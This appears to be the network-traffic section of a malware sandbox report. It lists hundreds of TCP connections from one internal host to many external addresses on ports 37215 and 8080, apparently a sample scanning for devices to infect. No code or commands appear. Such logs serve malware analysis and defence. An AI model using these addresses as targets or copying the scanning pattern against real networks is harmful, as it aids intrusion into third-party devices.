Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.2.40.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.54.64.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.243.171.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.111.118.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.58.12.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.235.96.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.206.193.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.88.204.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.163.156.8:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.113.58.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.14.161.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.106.43.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.149.169.225:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.33.248.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.130.81.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.110.170.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.87.175.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.253.182.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.237.17.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.105.249.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.193.153.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.174.86.98:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.189.199.140:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.45.242.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.168.210.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.136.158.162:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.169.173.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.29.48.150:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.48.220.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.108.244.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.134.123.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.219.4.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.79.89.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.114.7.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.213.17.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:6405 -> 157.26.172.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.140.10.215:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.0.241.194:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.125.69.225:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.165.104.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.164.102.217:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.111.87.81:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.68.118.99:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.201.217.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.113.175.212:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.204.65.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.231.56.252:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.184.229.106:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.164.160.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.236.40.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.120.169.196:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.153.169.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.175.142.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.228.222.73:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.66.192.192:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.46.154.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.119.60.228:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.5.110.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.151.127.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.8.23.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.105.120.142:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.104.25.196:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.93.48.66:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.73.236.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.135.178.208:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.192.10.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.29.44.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.198.8.201:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.34.120.229:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.195.248.184:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.53.174.89:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.247.184.196:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.78.195.183:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.245.10.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.131.206.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.197.12.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.135.74.116:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.157.93.99:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.121.55.49:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.172.25.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.230.1.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.6.194.22:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.189.190.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.111.235.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.17.40.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.89.163.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.89.170.219:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.106.13.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.215.10.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.34.54.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.50.11.62:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.24.212.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.241.176.194:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.97.130.0:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.60.208.178:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.115.71.163:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.67.105.25:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.7.71.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.130.252.168:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.24.147.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.100.13.7:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.60.160.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.156.169.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.48.176.164:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.135.132.198:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.163.238.83:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.137.187.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.29.169.206:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.39.243.200:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.147.194.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.45.107.33:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.86.23.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.225.154.24:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.35.80.33:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.255.219.145:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.142.254.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.109.1.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.69.172.120:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.235.202.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.35.123.213:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.174.216.240:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.216.239.61:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.203.203.43:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.102.34.119:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.249.9.179:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.91.139.162:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.118.170.201:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.234.46.48:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.226.10.233:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.42.195.7:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.174.63.191:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.105.208.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.212.7.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.20.49.222:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.173.33.207:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.227.254.119:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.200.2.189:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.205.82.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.49.150.40:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.11.28.227:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.22.122.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.179.135.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.4.196.14:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.196.214.220:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.156.105.178:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.10.213.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.164.243.15:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.63.64.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.95.163.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.110.32.203:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.123.210.89:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.142.97.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.117.49.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.187.165.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.205.160.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.22.21.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.59.22.152:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.145.58.192:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.17.55.133:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.158.253.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.149.73.20:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.230.4.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.213.247.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.31.7.230:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.234.184.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.221.155.32:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.43.209.20:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.10.196.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.60.100.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.208.188.57:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.20.84.254:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.207.77.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.61.116.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.7.253.175:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.20.50.34:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.119.201.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.121.118.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.41.61.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.23.24.100:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.114.1.248:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.243.208.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.153.73.153:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.135.15.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.143.206.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.85.114.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.29.4.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.107.68.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.129.162.252:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.203.222.10:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.122.182.107:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.253.186.207:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.149.158.4:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.80.151.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.42.254.34:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.72.53.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.139.207.225:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.130.6.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.24.112.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.61.55.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.79.32.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.232.206.63:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.81.70.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.12.80.237:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.189.104.130:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.87.112.175:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.138.117.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.172.113.54:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.3.191.159:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.23.173.226:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.149.129.134:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.119.185.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.210.184.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.125.98.207:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.110.74.103:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.19.183.203:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.134.29.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.95.143.49:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.162.46.229:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.136.102.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.123.110.62:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.128.200.177:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.35.9.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.156.250.94:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.241.235.213:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.10.220.216:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.191.128.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.139.42.16:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.113.54.44:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.136.6.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.76.253.23:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.215.69.245:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.145.134.115:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.92.254.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.123.33.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.68.106.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.199.118.235:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.239.179.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.2.96.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.131.113.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.50.21.252:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.83.28.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.50.78.220:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.35.254.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.99.142.92:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.3.204.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.83.221.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.168.189.176:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.182.108.116:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.20.65.148:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.202.250.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.212.93.228:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.163.208.214:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.165.227.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.115.53.191:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.101.147.240:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.131.49.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.194.200.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.201.80.111:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.153.171.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.31.191.98:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.78.178.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.172.103.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.237.52.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.85.77.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.76.172.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.147.56.78:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.45.182.163:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.223.155.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.164.172.8:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.9.75.200:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.101.221.153:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.193.192.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.192.234.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.32.240.4:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.94.114.245:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.148.179.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.23.217.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.83.225.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.172.95.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.49.127.5:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.80.66.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.215.215.241:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.3.1.161:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.153.20.36:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.1.231.184:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.134.160.220:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.132.120.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.219.246.187:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.163.86.202:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.253.7.93:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.161.30.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.95.74.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.90.38.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.210.92.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.252.103.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.252.219.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.230.89.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.82.31.23:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.241.196.243:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.44.207.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.132.126.172:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.130.225.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.133.24.192:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.183.208.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.32.180.63:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.163.230.70:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.78.170.193:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.145.3.145:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.38.216.26:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.225.41.193:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.15.174.152:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.84.192.127:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.230.173.244:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.119.4.207:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.86.102.120:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.16.34.99:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.140.222.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.41.48.227:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.37.71.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.131.242.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.29.174.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.171.43.133:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.86.78.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.226.112.149:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.237.233.79:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.245.243.135:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.232.156.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.45.106.9:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.68.238.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.63.15.200:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.178.1.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.202.142.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.99.118.23:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.229.148.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.96.171.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.123.105.212:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.242.4.89:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.229.112.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.65.17.175:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.80.77.118:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.69.172.87:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.13.184.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.72.115.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.16.95.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.98.47.228:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.77.143.219:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.150.141.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.135.2.6:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.55.162.225:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.91.73.132:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.233.129.112:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.115.7.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.154.165.160:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.1.203.135:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.203.100.121:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.217.111.235:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.167.211.172:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.208.143.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.233.225.12:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.78.109.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.194.116.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.113.55.118:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.43.66.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.176.93.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.64.19.117:8080
